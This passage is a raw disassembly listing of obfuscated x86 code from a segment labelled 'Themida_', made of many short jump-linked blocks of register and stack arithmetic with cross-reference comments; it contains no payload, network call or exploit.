; CODE XREF: Themida_:0055350Dj add bh, 33h jmp loc_55B00C ; --------------------------------------------------------------------------- loc_55A74E: ; CODE XREF: Themida_:00552B4Bj mov [esp], edx push esi jmp loc_5533BE ; --------------------------------------------------------------------------- loc_55A757: ; CODE XREF: Themida_:0055816Ej push ebx mov ebx, esp add ebx, 4 jmp loc_55EDB6 ; --------------------------------------------------------------------------- loc_55A765: ; CODE XREF: Themida_:005567E2j push ecx mov ecx, 4 jmp loc_564FB5 ; --------------------------------------------------------------------------- loc_55A770: ; CODE XREF: Themida_:0055CC08j add esp, 4 add esp, 4 mov esi, [esp] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_5618AF ; --------------------------------------------------------------------------- loc_55A790: ; CODE XREF: Themida_:00551925j inc ebx shl ebx, 5 jmp loc_55F87D ; --------------------------------------------------------------------------- loc_55A799: ; CODE XREF: Themida_:00563819j push esi mov esi, 533C22BBh neg esi jmp loc_55047D ; --------------------------------------------------------------------------- loc_55A7A6: ; CODE XREF: Themida_:00552D0Cj mov bh, 0Dh not bh inc bh or bh, 50h sub bh, 24h push edx mov dl, 0DAh inc dl shr dl, 3 shl dl, 1 push ebx jmp loc_5602A5 ; --------------------------------------------------------------------------- loc_55A7C2: ; CODE XREF: Themida_:00551EEAj pop edx pop ecx mov bl, al jmp loc_564513 ; --------------------------------------------------------------------------- loc_55A7CB: ; CODE XREF: Themida_:0055ED96j xor dl, 4 jmp loc_55C410 ; --------------------------------------------------------------------------- loc_55A7D3: ; CODE XREF: Themida_:0055D761j add esp, 4 add edx, edi mov edi, [esp] jmp loc_555073 ; --------------------------------------------------------------------------- loc_55A7E0: ; CODE XREF: Themida_:0055AE43j pop ecx add ebp, edi pop edi push edi mov edi, 4 jmp loc_551E96 ; --------------------------------------------------------------------------- loc_55A7EF: ; CODE XREF: Themida_:005552F1j xor edx, [esp] jmp loc_5614D8 ; --------------------------------------------------------------------------- loc_55A7F7: ; CODE XREF: Themida_:00552F64j push ecx mov ch, 0FBh add ch, 79h add al, ch pop ecx or al, 0BBh jmp loc_5507E7 ; --------------------------------------------------------------------------- loc_55A807: ; CODE XREF: Themida_:0056508Dj add eax, edi sub eax, 78F94D5Fh jmp loc_553869 ; --------------------------------------------------------------------------- loc_55A813: ; CODE XREF: Themida_:0055EB93j pop cx sub esp, 4 mov [esp], esi jmp loc_5597D7 ; --------------------------------------------------------------------------- loc_55A820: ; CODE XREF: Themida_:00556E38j pop eax xchg esi, [esp] pop esp mov [esp], ebx mov ebx, 4 jmp loc_55E1E6 ; --------------------------------------------------------------------------- loc_55A832: ; CODE XREF: Themida_:0055EBC9j push esi jmp loc_5632EA ; --------------------------------------------------------------------------- loc_55A838: ; CODE XREF: Themida_:00560F98j add edx, edi mov edi, [esp] jmp loc_560D7C ; --------------------------------------------------------------------------- loc_55A842: ; CODE XREF: Themida_:0055E152j sub esp, 4 mov [esp], ecx mov ecx, 4 add esi, ecx jmp loc_55321E ; --------------------------------------------------------------------------- loc_55A857: ; CODE XREF: Themida_:0055DA1Aj push 517Fh mov [esp], ebp mov ebp, 0DDC1683h add edx, ebp mov ebp, [esp] jmp loc_56388C ; --------------------------------------------------------------------------- loc_55A86E: ; CODE XREF: Themida_:00564C49j add esp, 4 xor al, dh mov edx, [esp] add esp, 4 push edx mov dh, 0B0h sub dh, 85h add bl, 0F0h sub bl, dh sub bl, 0F0h pop edx sub bl, 3Dh add bl, al push ecx mov ch, 7Fh and ch, 0C0h neg ch jmp loc_556B31 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx jmp loc_5526E6 ; --------------------------------------------------------------------------- loc_55A8A4: ; CODE XREF: Themida_:005507ACj add esp, 4 sub esp, 4 jmp loc_56483E ; --------------------------------------------------------------------------- loc_55A8B2: ; CODE XREF: Themida_:00554B22j pop ebp jmp loc_554AE7 ; --------------------------------------------------------------------------- loc_55A8B8: ; CODE XREF: Themida_:005616C8j sub edx, eax sub edx, 18A83FF1h push ecx mov ecx, 48297925h add ecx, 1C6B2BAFh add ecx, 5277399Ch xor ecx, 0C1C6964h or ecx, 60FA3DABh add ecx, 6D207085h sub edx, ecx pop ecx mov eax, [esp] add esp, 4 push ebx jmp loc_55468D ; --------------------------------------------------------------------------- loc_55A8F3: ; CODE XREF: Themida_:0055D400j pop eax jmp loc_556578 ; --------------------------------------------------------------------------- loc_55A8F9: ; CODE XREF: Themida_:00555007j add [esp+4], ebp sub dword ptr [esp+4], 2B88194Eh add dword ptr [esp+4], 404F5D17h pop ebp push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], edx push ebx mov ebx, 56F07233h sub ebx, 4BAF45EDh jmp loc_55F353 ; --------------------------------------------------------------------------- loc_55A932: ; CODE XREF: Themida_:00564697j mov [esp], cx jmp loc_550420 ; --------------------------------------------------------------------------- loc_55A93B: ; CODE XREF: Themida_:005620BDj mov [esp], esp jmp loc_55AC45 ; --------------------------------------------------------------------------- loc_55A943: ; CODE XREF: Themida_:00550703j push edi jmp loc_55E934 ; --------------------------------------------------------------------------- loc_55A949: ; CODE XREF: Themida_:0055A3EDj sub eax, edi jmp loc_560DAF ; --------------------------------------------------------------------------- loc_55A950: ; CODE XREF: Themida_:00559F50j push esi xchg ebp, [esp] not ebp jmp loc_55A5F6 ; --------------------------------------------------------------------------- loc_55A95B: ; CODE XREF: Themida_:00559DBCj not bh add bh, 0FCh xor bh, 0F0h add dh, 24h add dh, bh sub dh, 24h pop ebx xor al, dh mov edx, [esp] add esp, 4 jmp loc_5590FA ; --------------------------------------------------------------------------- loc_55A979: ; CODE XREF: Themida_:0055DD24j pop esi sub esi, 6BF344EEh jmp loc_55059C ; --------------------------------------------------------------------------- loc_55A985: ; CODE XREF: Themida_:00551343j mov ebx, [esp] add esp, 4 jmp loc_561AB8 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_550420 ; --------------------------------------------------------------------------- loc_55A99B: ; CODE XREF: Themida_:005586CAj mov [esp], edx mov edx, 77994768h add edi, 24B249Ah add edi, edx sub edi, 24B249Ah jmp loc_55784E ; --------------------------------------------------------------------------- loc_55A9B6: ; CODE XREF: Themida_:00551235j add edi, 0B612B8Eh pop esi push esi jmp loc_5629AE ; --------------------------------------------------------------------------- loc_55A9C3: ; CODE XREF: Themida_:00551508j add bl, 11h add bl, dl push eax mov ah, 0E3h xor ah, 0F2h sub bl, ah pop eax pop edx mov ecx, [esp] push edx push 7DCBh mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push ebp push esp mov ebp, [esp] add esp, 4 jmp loc_55752F ; --------------------------------------------------------------------------- loc_55AA08: ; CODE XREF: Themida_:005592B7j add eax, edi jmp loc_55F4A7 ; --------------------------------------------------------------------------- loc_55AA0F: ; CODE XREF: Themida_:00551026j or ebx, 343F2991h add ebx, 0E2E8BA73h sub eax, ebx pop ebx add eax, 601E527Bh sub eax, ebx sub eax, 601E527Bh jmp loc_55F7C9 ; --------------------------------------------------------------------------- loc_55AA2F: ; CODE XREF: Themida_:0055AC5Cj mov eax, 157830CAh shr eax, 7 neg eax jmp loc_5597A4 ; --------------------------------------------------------------------------- loc_55AA3E: ; CODE XREF: Themida_:00555E74j xor cl, 7Bh mov ah, cl pop ecx shr ah, 1 jmp loc_5518C8 ; --------------------------------------------------------------------------- loc_55AA4B: ; CODE XREF: Themida_:0055EE21j pop eax push eax mov eax, 4 add ecx, eax pop eax xchg ecx, [esp] jmp loc_5563D9 ; --------------------------------------------------------------------------- loc_55AA5D: ; CODE XREF: Themida_:00564881j and edi, 45F33DEEh dec edi sub edi, 9680367Fh add ebx, edi pop edi push ebx add dword ptr [esp], 88F19BCh pop edx sub edx, 88F19BCh push dword ptr [esp] pop ebx jmp loc_5522AE ; --------------------------------------------------------------------------- loc_55AA85: ; CODE XREF: Themida_:0055B60Ej and edx, ebp pop ebp push ebx mov ebx, 22A159D3h xor edx, ebx push dword ptr [esp] pop ebx add esp, 4 shl edx, 4 push edi mov edi, 15292515h push ebx jmp loc_563598 ; --------------------------------------------------------------------------- loc_55AAA9: ; CODE XREF: Themida_:00561D1Cj push dword ptr [esp] pop ebx push edx jmp loc_55EAB0 ; --------------------------------------------------------------------------- loc_55AAB3: ; CODE XREF: Themida_:0055E5DBj add esp, 4 mov ecx, [esp] add esp, 4 sub bh, dl pop dx sub al, 94h sub al, bh push ebx mov bl, 6Ah shr bl, 2 sub bl, 9Bh push ecx jmp loc_5550FD ; --------------------------------------------------------------------------- loc_55AAD9: ; CODE XREF: Themida_:0055FA36j xor ebx, 88D6CDE5h mov edx, ebx pop ebx add eax, 128C56C2h add eax, edx push esi mov esi, 2CDD0C71h or esi, 16EB3BB5h and esi, 6B78471Ch jmp loc_558547 ; --------------------------------------------------------------------------- loc_55AB00: ; CODE XREF: Themida_:0056327Fj mov ebx, [esp] add esp, 4 add ebx, 21B41A93h jmp loc_55C106 ; --------------------------------------------------------------------------- loc_55AB14: ; CODE XREF: Themida_:005569D2j add esp, 4 xchg eax, [esp] mov esp, [esp] xor edx, edx push edx mov edx, esp sub esp, 4 mov [esp], ebx mov ebx, 3085624Dh or ebx, 10C038Ah shl ebx, 8 jmp loc_55B0DC ; --------------------------------------------------------------------------- loc_55AB41: ; CODE XREF: Themida_:0055197Cj mov ebx, [esp] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5564D8 ; --------------------------------------------------------------------------- loc_55AB59: ; CODE XREF: Themida_:0055E130j add eax, 0B15875F7h sub edx, eax jmp loc_555FEB ; --------------------------------------------------------------------------- lodsd push 0B7Eh mov [esp], edx mov edx, 43AF6A7Dh jmp loc_5517D1 ; --------------------------------------------------------------------------- loc_55AB78: ; CODE XREF: Themida_:0055B41Bj add esp, 4 jmp loc_55BA2F ; --------------------------------------------------------------------------- loc_55AB80: ; CODE XREF: Themida_:00557DB7j add ebp, 8D805D8Bh sub edx, ebp pop ebp push edx pop ebx jmp loc_55B9FF ; --------------------------------------------------------------------------- loc_55AB90: ; CODE XREF: Themida_:00554AE2j sub eax, 44A0347Ch add eax, 21E8129Eh jmp loc_55E05B ; --------------------------------------------------------------------------- loc_55AB9F: ; CODE XREF: Themida_:0055B6D0j jmp loc_550420 ; --------------------------------------------------------------------------- loc_55ABA4: ; CODE XREF: Themida_:0055B6E4j sub esi, 0FFFFFFFFh push ebx mov ebx, 11A13C51h xor esi, ebx pop ebx add ecx, esi pop esi jmp loc_55E104 ; --------------------------------------------------------------------------- loc_55ABBB: ; CODE XREF: Themida_:0055E0FFj push 7798h mov [esp], eax sub esp, 4 mov [esp], edi mov edi, 4 mov eax, edi pop edi sub ecx, 744C419Ch add ecx, eax jmp loc_5544EE ; --------------------------------------------------------------------------- loc_55ABE1: ; CODE XREF: Themida_:0055B744j mov [esp], edi push ebx jmp loc_55D73F ; --------------------------------------------------------------------------- loc_55ABEA: ; CODE XREF: Themida_:0055474Bj push eax mov eax, 1 add ebp, eax jmp loc_553FAD ; --------------------------------------------------------------------------- loc_55ABF7: ; CODE XREF: Themida_:0055DECDj mov ch, 7Ah or ch, 0A8h or ch, 5Eh dec ch jmp loc_55CD31 ; --------------------------------------------------------------------------- loc_55AC06: ; CODE XREF: Themida_:00552D71j not ebp inc ebp add ebp, 432263CDh mov esi, ebp pop ebp add edi, esi pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov cx, [esp] sub esp, 4 mov [esp], edx push esp jmp loc_55408C ; --------------------------------------------------------------------------- loc_55AC34: ; CODE XREF: Themida_:0055C412j pop edx push dx mov dl, 5 xor cl, dl pop dx shr cl, 3 jmp loc_555BC9 ; --------------------------------------------------------------------------- loc_55AC45: ; CODE XREF: Themida_:0055A93Ej add dword ptr [esp], 4 mov eax, [esp] add esp, 4 push esi mov esi, esp add esi, 4 push eax jmp loc_55AA2F ; --------------------------------------------------------------------------- loc_55AC61: ; CODE XREF: Themida_:0055AF96j push dword ptr [esp] jmp loc_55FAAF ; --------------------------------------------------------------------------- loc_55AC69: ; CODE XREF: Themida_:0055F68Fj push ecx add dword ptr [esp], 20514D4h pop ebp sub ebp, 20514D4h mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5528C7 ; --------------------------------------------------------------------------- loc_55AC8D: ; CODE XREF: Themida_:0055F6CCj push 4233h mov [esp], ebp jmp loc_55CAD6 ; --------------------------------------------------------------------------- loc_55AC9A: ; CODE XREF: Themida_:00563046j mov edx, 25592533h sub eax, edx jmp loc_55F71C ; --------------------------------------------------------------------------- loc_55ACA6: ; CODE XREF: Themida_:0055E117j mov ebp, 4AED5A48h jmp loc_55BDBC ; --------------------------------------------------------------------------- loc_55ACB0: ; CODE XREF: Themida_:005575F0j pop ebx xor ah, dh mov dx, [esp] add esp, 2 add bl, ah pop eax sub al, bl mov ebx, [esp] jmp loc_55C90A ; --------------------------------------------------------------------------- loc_55ACC7: ; CODE XREF: Themida_:0055DA09j add edi, 4 add edi, 4 jmp loc_552ECA ; --------------------------------------------------------------------------- loc_55ACD5: ; CODE XREF: Themida_:0055B09Ej neg edx jmp loc_557048 ; --------------------------------------------------------------------------- loc_55ACDC: ; CODE XREF: Themida_:005572D3j jmp loc_550420 ; --------------------------------------------------------------------------- loc_55ACE1: ; CODE XREF: Themida_:0055D514j xor esi, edi mov edi, [esp] add esp, 4 add ecx, esi pop esi jmp loc_55BE38 ; --------------------------------------------------------------------------- loc_55ACF1: ; CODE XREF: Themida_:0055CA23j push ecx mov ecx, 18CE0ED3h and ebp, ecx pop ecx push edi mov edi, 58AA590Ch jmp loc_557E54 ; --------------------------------------------------------------------------- loc_55AD05: ; CODE XREF: Themida_:0055B602j mov bl, 78h shr bl, 7 jmp loc_558131 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_553BAF ; --------------------------------------------------------------------------- loc_55AD18: ; CODE XREF: Themida_:00560504j add esp, 4 sub al, bl push dx push ecx mov cl, 26h jmp loc_56096C ; --------------------------------------------------------------------------- loc_55AD27: ; CODE XREF: Themida_:00551AF8j push 3F847C4Ch mov eax, [esp] add esp, 4 and eax, 4D41749Dh push edx mov edx, 698C44D5h shr edx, 1 xchg esi, edx dec esi jmp loc_561250 ; --------------------------------------------------------------------------- loc_55AD4A: ; CODE XREF: Themida_:0055EA23j push dword ptr [esp] jmp loc_560C65 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], edx mov edx, esp jmp loc_5592DB ; --------------------------------------------------------------------------- loc_55AD62: ; CODE XREF: Themida_:0055CE37j push 540Fh jmp loc_55DBAA ; --------------------------------------------------------------------------- loc_55AD6C: ; CODE XREF: Themida_:0055EF0Aj add esp, 4 pop dword ptr [esp] mov eax, [esp] add esp, 4 xor [esp], eax xor eax, [esp] xor [esp], eax jmp loc_550420 ; --------------------------------------------------------------------------- loc_55AD89: ; CODE XREF: Themida_:0055712Cj sub eax, 5E8F7E87h mov esi, [esp] jmp loc_55B70A ; --------------------------------------------------------------------------- loc_55AD96: ; CODE XREF: Themida_:00552B79j mov [esp], edx jmp loc_55FD9C ; --------------------------------------------------------------------------- loc_55AD9E: ; CODE XREF: Themida_:00552438j mov esp, [esp] movzx eax, al push dword ptr [edi+eax*4] push 3406h jmp loc_55E85F ; --------------------------------------------------------------------------- loc_55ADB1: ; CODE XREF: Themida_:00550614j push edx mov dl, 58h or dl, 2Ch inc dl inc dl xor dl, 0D2h sub al, dl jmp loc_55ECDA ; --------------------------------------------------------------------------- loc_55ADC5: ; CODE XREF: Themida_:0055F077j sub eax, 72256409h sub eax, esi jmp loc_55E5C1 ; --------------------------------------------------------------------------- loc_55ADD1: ; CODE XREF: Themida_:005572E6j sub ecx, 4 xchg ecx, [esp] jmp loc_55E2CD ; --------------------------------------------------------------------------- loc_55ADDF: ; CODE XREF: Themida_:005582C2j mov eax, 1E9F58DDh jmp loc_564E23 ; --------------------------------------------------------------------------- loc_55ADE9: ; CODE XREF: Themida_:005623C5j shr edi, 2 push ebp jmp loc_56314D ; --------------------------------------------------------------------------- loc_55ADF2: ; CODE XREF: Themida_:00560B77j push dword ptr [esp] pop ecx add esp, 4 jmp loc_554BDC ; --------------------------------------------------------------------------- loc_55AE01: ; CODE XREF: Themida_:00561CA8j pop esp pop edx sub esp, 4 mov [esp], edx jmp loc_556289 ; --------------------------------------------------------------------------- loc_55AE0E: ; CODE XREF: Themida_:00551B7Dj neg edi shl edi, 3 not edi sub edi, 0FEE96AE5h mov esi, edi pop edi add ebp, esi pop esi push 4E92h mov [esp], ebp push dword ptr [esp+4] jmp loc_556F63 ; --------------------------------------------------------------------------- loc_55AE32: ; CODE XREF: Themida_:0055E1ADj or ecx, esi pop esi add ecx, 3A74181Eh xor ecx, 5F6FC78Eh xor edi, ecx jmp loc_55A7E0 ; --------------------------------------------------------------------------- loc_55AE48: ; CODE XREF: Themida_:0056007Bj add esp, 4 pop ebx add eax, ebx jmp loc_5655CC ; --------------------------------------------------------------------------- loc_55AE56: ; CODE XREF: Themida_:0056016Cj shr ebp, 6 jmp loc_5573FA ; --------------------------------------------------------------------------- loc_55AE5E: ; CODE XREF: Themida_:00561FC8j pop eax pop ebp jmp loc_55713E ; --------------------------------------------------------------------------- loc_55AE65: ; CODE XREF: Themida_:0055407Fj add esp, 4 pop ebx mov eax, [esp] add esp, 4 sub al, 7Ah add al, dl push small 1F23h mov [esp], dx mov dl, 7Ah add al, dl mov dx, [esp] add esp, 2 mov dx, [esp] push ebx push esp jmp loc_56292A ; --------------------------------------------------------------------------- loc_55AE97: ; CODE XREF: Themida_:005545EBj add cl, 16h xor bh, cl mov ecx, [esp] add esp, 4 jmp loc_558ED4 ; --------------------------------------------------------------------------- loc_55AEAA: ; CODE XREF: Themida_:005615D3j mov edi, [esp] add esp, 4 sub ecx, 5B0C566Ch jmp loc_558634 ; --------------------------------------------------------------------------- loc_55AEBB: ; CODE XREF: Themida_:005513B3j pop esi jmp loc_55890E ; --------------------------------------------------------------------------- loc_55AEC1: ; CODE XREF: Themida_:00555EAEj mov edi, edx jmp loc_55C91E ; --------------------------------------------------------------------------- loc_55AEC8: ; CODE XREF: Themida_:00560D8Bj push esp mov ecx, [esp] add esp, 4 add ecx, 4 jmp loc_55C392 ; --------------------------------------------------------------------------- loc_55AEDA: ; CODE XREF: Themida_:005617B3j mov [esp], esi jmp loc_552EDF ; --------------------------------------------------------------------------- loc_55AEE2: ; CODE XREF: Themida_:0055EFEBj sub al, 5Fh sub al, dl add al, 5Fh add al, 6Bh pop edx sub al, 0DFh jmp loc_55CDF2 ; --------------------------------------------------------------------------- loc_55AEF2: ; CODE XREF: Themida_:00552DF8j add esp, 4 jmp loc_556165 ; --------------------------------------------------------------------------- loc_55AEFD: ; CODE XREF: Themida_:00552F58j mov eax, 6DC3602Fh xor edi, eax pop eax shr edi, 5 inc edi shl edi, 4 jmp loc_562B50 ; --------------------------------------------------------------------------- loc_55AF11: ; CODE XREF: Themida_:00562949j push esi jmp loc_556A60 ; --------------------------------------------------------------------------- loc_55AF17: ; CODE XREF: Themida_:0055111Bj mov esi, esp add esi, 4 jmp loc_564C22 ; --------------------------------------------------------------------------- loc_55AF24: ; CODE XREF: Themida_:0055A399j xor ecx, [esp] mov esp, [esp] mov [esp], eax jmp loc_55B5D8 ; --------------------------------------------------------------------------- loc_55AF32: ; CODE XREF: Themida_:00551276j push eax mov eax, 2D631371h sub esp, 4 mov [esp], eax sub dword ptr [esp], 45EB73F5h pop esi jmp loc_55757F ; --------------------------------------------------------------------------- loc_55AF4B: ; CODE XREF: Themida_:0055D3C0j mov ebp, 21BA55E2h push edx push edi mov edi, 121168C0h jmp loc_5531F8 ; --------------------------------------------------------------------------- loc_55AF5C: ; CODE XREF: Themida_:0055090Fj xor ch, 0DDh sub bl, ch mov ecx, [esp] jmp loc_555D36 ; --------------------------------------------------------------------------- loc_55AF69: ; CODE XREF: Themida_:00551974j push 1970h jmp loc_55A54D ; --------------------------------------------------------------------------- loc_55AF73: ; CODE XREF: Themida_:0055F878j add ecx, esi pop esi xchg ecx, [esp] pop esp push 3288h mov [esp], ebx push 4871h mov [esp], eax push 4 pop eax sub esp, 4 mov [esp], eax jmp loc_55AC61 ; --------------------------------------------------------------------------- loc_55AF9B: ; CODE XREF: Themida_:00555DC4j push esi mov esi, 4 add ebp, esi pop esi sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_56088D ; --------------------------------------------------------------------------- loc_55AFB0: ; CODE XREF: Themida_:0055FBD2j dec edx jmp loc_55E4D5 ; --------------------------------------------------------------------------- loc_55AFB6: ; CODE XREF: Themida_:0055135Bj dec ebp shr ebp, 1 sub esp, 4 mov [esp], edx mov edx, 2409274Dh jmp loc_550D6A ; --------------------------------------------------------------------------- loc_55AFCC: ; CODE XREF: Themida_:00562085j mov ecx, 34D0478Bh push edx jmp loc_5611FA ; --------------------------------------------------------------------------- loc_55AFD7: ; CODE XREF: Themida_:005618D1j or esi, 73990651h add esi, 42C04B6Bh add esi, 5C65505Eh sub esi, 0A4B19B17h add ebx, 121A2BB5h add ebx, esi sub ebx, 121A2BB5h mov esi, [esp] push esi jmp loc_55271E ; --------------------------------------------------------------------------- loc_55B006: ; CODE XREF: Themida_:005518A3j dec edx jmp loc_565A0C ; --------------------------------------------------------------------------- loc_55B00C: ; CODE XREF: Themida_:0055A749j add bh, ah sub bh, 33h push edx mov dh, 7Eh jmp loc_554F0F ; --------------------------------------------------------------------------- loc_55B019: ; CODE XREF: Themida_:00553F8Cj xor [esp], esi xor esi, [esp] jmp loc_5542B4 ; --------------------------------------------------------------------------- loc_55B024: ; CODE XREF: Themida_:00560E7Fj push ecx add dword ptr [esp], 0FFFFFFFFh mov ecx, [esp] jmp loc_556DCC ; --------------------------------------------------------------------------- loc_55B034: ; CODE XREF: Themida_:00559D97j sub ebp, edi pop edi add ecx, 4B27253Bh add ecx, ebp sub ecx, 4B27253Bh mov ebp, [esp] add esp, 4 push eax mov eax, 4 add ecx, eax jmp loc_553BB9 ; --------------------------------------------------------------------------- loc_55B05B: ; CODE XREF: Themida_:005622A7j push 345Fh mov [esp], ecx push edx pop ecx pop edx xchg eax, edx jmp loc_565B1B ; --------------------------------------------------------------------------- loc_55B06C: ; CODE XREF: Themida_:00563E67j add ebp, 4C487B73h jmp loc_55E545 ; --------------------------------------------------------------------------- loc_55B077: ; CODE XREF: Themida_:005643BFj pop ecx add esp, 4 and eax, ecx push dword ptr [esp] pop ecx jmp loc_5633FB ; --------------------------------------------------------------------------- loc_55B086: ; CODE XREF: Themida_:00560731j push edx jmp loc_555E6A ; --------------------------------------------------------------------------- loc_55B08C: ; CODE XREF: Themida_:005522FAj push eax mov eax, 4 add [esp+4], eax pop eax pop ebp push edx mov edx, 6BC45E19h jmp loc_55ACD5 ; --------------------------------------------------------------------------- loc_55B0A3: ; CODE XREF: Themida_:00556D84j mov ecx, 40655A4Eh sub edi, 647A53E3h jmp loc_55C060 ; --------------------------------------------------------------------------- loc_55B0B3: ; CODE XREF: Themida_:00551143j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] or edx, eax shl edx, 1 push 3144h mov [esp], ecx mov ecx, 1 jmp loc_5510AE ; --------------------------------------------------------------------------- loc_55B0DC: ; CODE XREF: Themida_:0055AB3Cj shl ebx, 6 and ebx, 613B04A0h xor ebx, 40330004h jmp loc_554B35 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ecx mov ecx, 1160234Ch push ecx mov ecx, 1160234Ch jmp loc_554B97 ; --------------------------------------------------------------------------- loc_55B109: ; CODE XREF: Themida_:005622EFj push 7E6Eh mov [esp], eax mov al, 6Eh add ch, al pop eax jmp loc_55C5DF ; --------------------------------------------------------------------------- loc_55B11B: ; CODE XREF: Themida_:0055B84Bj pop esi jmp loc_559231 ; --------------------------------------------------------------------------- loc_55B121: ; CODE XREF: Themida_:00555CEFj mov edx, [esp] add esp, 4 and ecx, esi pop esi add ecx, 0FFC00004h jmp loc_55EAD9 ; --------------------------------------------------------------------------- loc_55B138: ; CODE XREF: Themida_:0055A40Cj push edi push dword ptr [esp+4] jmp loc_5525A9 ; --------------------------------------------------------------------------- loc_55B142: ; CODE XREF: Themida_:00563EEAj sub eax, esi sub esp, 4 mov [esp], edi jmp loc_557B27 ; --------------------------------------------------------------------------- loc_55B14F: ; CODE XREF: Themida_:00558F78j mov ecx, esp add ecx, 4 jmp loc_55BD2E ; --------------------------------------------------------------------------- loc_55B15C: ; CODE XREF: Themida_:00562090j jmp loc_550420 ; --------------------------------------------------------------------------- loc_55B161: ; CODE XREF: Themida_:005648E4j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx mov ebx, esp push eax push esi push 59E52748h jmp loc_563869 ; --------------------------------------------------------------------------- loc_55B179: ; CODE XREF: Themida_:00563010j mov [esp], eax jmp loc_56252F ; --------------------------------------------------------------------------- loc_55B181: ; CODE XREF: Themida_:0055E2B1j mov dl, 5Eh jmp loc_562348 ; --------------------------------------------------------------------------- loc_55B188: ; CODE XREF: Themida_:0055F1C4j not dword ptr [esp] mov ebp, [esp] push edx push esp pop edx jmp loc_55A129 ; --------------------------------------------------------------------------- loc_55B196: ; CODE XREF: Themida_:00560460j pop ebp pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_5638EA ; --------------------------------------------------------------------------- loc_55B1A3: ; CODE XREF: Themida_:00565B92j push 5819h mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_551F2D ; --------------------------------------------------------------------------- loc_55B1B5: ; CODE XREF: Themida_:005587F0j push 6AB3h mov [esp], eax push esp push dword ptr [esp] pop eax add esp, 4 push edx mov edx, 208E670Bh push esi push edi mov edi, 7842BCFh shl edi, 6 sub edi, 4AE04A72h and edi, 4D470879h not edi and edi, 524077E1h add edi, 286FF3Ah mov esi, edi pop edi add esi, 2BE15138h jmp loc_55882A ; --------------------------------------------------------------------------- loc_55B200: ; CODE XREF: Themida_:0056119Dj pop esp jmp loc_563144 ; --------------------------------------------------------------------------- loc_55B206: ; CODE XREF: Themida_:00554D89j pop ebp xor edx, 749BA004h or esi, edx mov edx, [esp] jmp loc_55F694 ; --------------------------------------------------------------------------- loc_55B217: ; CODE XREF: Themida_:00559403j pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_556063 ; --------------------------------------------------------------------------- loc_55B228: ; CODE XREF: Themida_:0055DDB1j mov eax, [esp] add esp, 4 push ebp mov ebp, 16511949h or ebp, 1DEC24D6h xor ebp, 1FFD3DDBh add esi, ebp pop ebp push esi push dword ptr [esp+4] push dword ptr [esp] jmp loc_5652FC ; --------------------------------------------------------------------------- loc_55B253: ; CODE XREF: Themida_:0055F540j mov edx, 510E5D6Dh sub ebx, edx jmp loc_55A69E ; --------------------------------------------------------------------------- loc_55B25F: ; CODE XREF: Themida_:00553886j mov ch, 7Eh push edx mov dh, 6Eh not dh dec dh not dh jmp loc_5564E8 ; --------------------------------------------------------------------------- loc_55B26F: ; CODE XREF: Themida_:0055F826j and esi, 81D5109h xor esi, 90E4C26Dh mov edi, esi pop esi jmp loc_559296 ; --------------------------------------------------------------------------- loc_55B283: ; CODE XREF: Themida_:00551D64j shr ebp, 8 jmp loc_5635FD ; --------------------------------------------------------------------------- loc_55B28B: ; CODE XREF: Themida_:0056206Bj pop small word ptr [esp] push small 4B5Ch mov [esp], di jmp loc_5576DC ; --------------------------------------------------------------------------- loc_55B29C: ; CODE XREF: Themida_:00564E3Bj pop edi add esi, ebp mov ebp, [esp] push edi mov edi, esp add edi, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax jmp loc_5535D2 ; --------------------------------------------------------------------------- loc_55B2C6: ; CODE XREF: Themida_:00558845j add esp, 4 push ecx jmp loc_55E53B ; --------------------------------------------------------------------------- loc_55B2D2: ; CODE XREF: Themida_:0055F193j sub edx, ebp pop ebp mov edi, edx pop edx shr edi, 3 and edi, 1CF7E74h or edi, 65F94E64h not edi push 46B9h mov [esp], ebp mov ebp, 9A009197h sub edi, ebp pop ebp add ebx, edi pop edi sub ebx, 4 push ebx push dword ptr [esp+4] jmp loc_560A8A ; --------------------------------------------------------------------------- loc_55B30C: ; CODE XREF: Themida_:00555037j push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] jmp loc_561924 ; --------------------------------------------------------------------------- loc_55B31A: ; CODE XREF: Themida_:00560DECj pop esp jmp loc_556EC3 ; --------------------------------------------------------------------------- loc_55B320: ; CODE XREF: Themida_:0055D434j pop esp push dword ptr [edi+eax*4] jmp loc_5535F6 ; --------------------------------------------------------------------------- loc_55B329: ; CODE XREF: Themida_:0056426Fj push esi mov esi, 4 add ecx, esi pop esi add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5511D9 ; --------------------------------------------------------------------------- loc_55B33E: ; CODE XREF: Themida_:0055EACEj xchg ebx, [esp] pop esp mov [esp], ecx push esp pop ecx add ecx, 4 add ecx, 2 push 6808h jmp loc_55811D ; --------------------------------------------------------------------------- loc_55B35D: ; CODE XREF: Themida_:005638E5j mov esi, 4100215Bh shr esi, 2 jmp loc_56036A ; --------------------------------------------------------------------------- loc_55B36A: ; CODE XREF: Themida_:0055F5C7j mov [esp], ecx jmp loc_55A329 ; --------------------------------------------------------------------------- loc_55B372: ; CODE XREF: Themida_:0055C509j pop edx add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] add eax, 4 xchg eax, [esp] mov esp, [esp] shr eax, 12h xor eax, ecx push 5B7Ch mov [esp], eax push edi push dword ptr [esp+4] jmp loc_562240 ; --------------------------------------------------------------------------- loc_55B39E: ; CODE XREF: 